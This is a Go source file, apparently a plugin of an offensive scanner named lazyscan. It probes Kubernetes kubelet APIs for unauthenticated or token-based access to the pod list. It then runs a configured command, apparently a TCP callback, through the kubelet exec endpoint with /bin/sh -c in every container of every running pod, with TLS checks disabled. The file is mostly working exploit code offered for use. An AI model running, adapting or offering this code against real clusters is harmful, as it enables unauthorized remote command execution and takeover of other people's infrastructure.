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kubelet.go
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kubelet.go
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package plugins
import (
"crypto/tls"
"encoding/base64"
"fmt"
"log"
"net/http"
"net/url"
"strings"
"time"
"github.com/404tk/lazyscan/common"
"github.com/404tk/lazyscan/pkg/schema"
"github.com/tidwall/gjson"
)
func KubeletScan(info *common.HostInfo) bool {
opts := schema.K8sRequestOption{
Token: info.Token,
Endpoint: fmt.Sprintf("https://%s:%s", info.Host, info.Port),
Api: "/pods",
Method: "GET",
}
resp, err := schema.ServerAccountRequest(opts)
if err != nil || !strings.Contains(resp, "items") {
return false
}
pods := gjson.Get(resp, "items").Array()
result := fmt.Sprintf("[%s:%s] may be kubelet api unauth, there are %d pods.", info.Host, info.Port, len(pods))
log.Println(result)
if info.Queue != nil {
vuln := common.Vuln{
Host: info.Host,
Port: info.Port,
}
if info.Token == "" {
vuln.Unauth = true
} else {
vuln.Token = info.Token
}
info.Queue.Push(vuln)
}
if info.DisableExp && info.Command == "" {
return true
}
var cmd string
if !info.DisableExp {
cmd = info.Commands.TCPCommand
} else {
cmd = info.Command
}
// batch command execution
if cmd != "" {
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
urlecd := url.QueryEscape(b64)
for _, item := range pods {
pod := item.Get("metadata.name").String()
namespace := item.Get("metadata.namespace").String()
status := item.Get("status.phase").String()
if status != "Running" {
continue
}
containers := item.Get("spec.containers").Array()
for _, c := range containers {
// 批量pods执行时忽略报错
api := fmt.Sprintf(opts.Endpoint+
"/exec/%s/%s/%s?command=/bin/sh&command=-c&command=%s&error=1&output=1",
namespace, pod, c.Get("name").String(), urlecd)
flag := kubeletExec(info, api)
if !flag {
return false
}
}
}
}
return true
}
func kubeletExec(info *common.HostInfo, api string) bool {
httpclient := &http.Client{
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
Timeout: time.Second * 20,
}
req, err := http.NewRequest("GET", api, nil)
if err != nil {
return false
}
if info.Token != "" {
req.Header.Add("Authorization", "Bearer "+strings.TrimSuffix(info.Token, "\n"))
}
req.Header.Add("Connection", "Upgrade")
req.Header.Add("Upgrade", "websocket")
req.Header.Add("Sec-Websocket-Version", "13")
req.Header.Add("Sec-Websocket-Key", "lazyscan")
resp, err := httpclient.Do(req)
if err != nil {
return false
}
if resp.StatusCode == http.StatusSwitchingProtocols {
return true
}
return false
}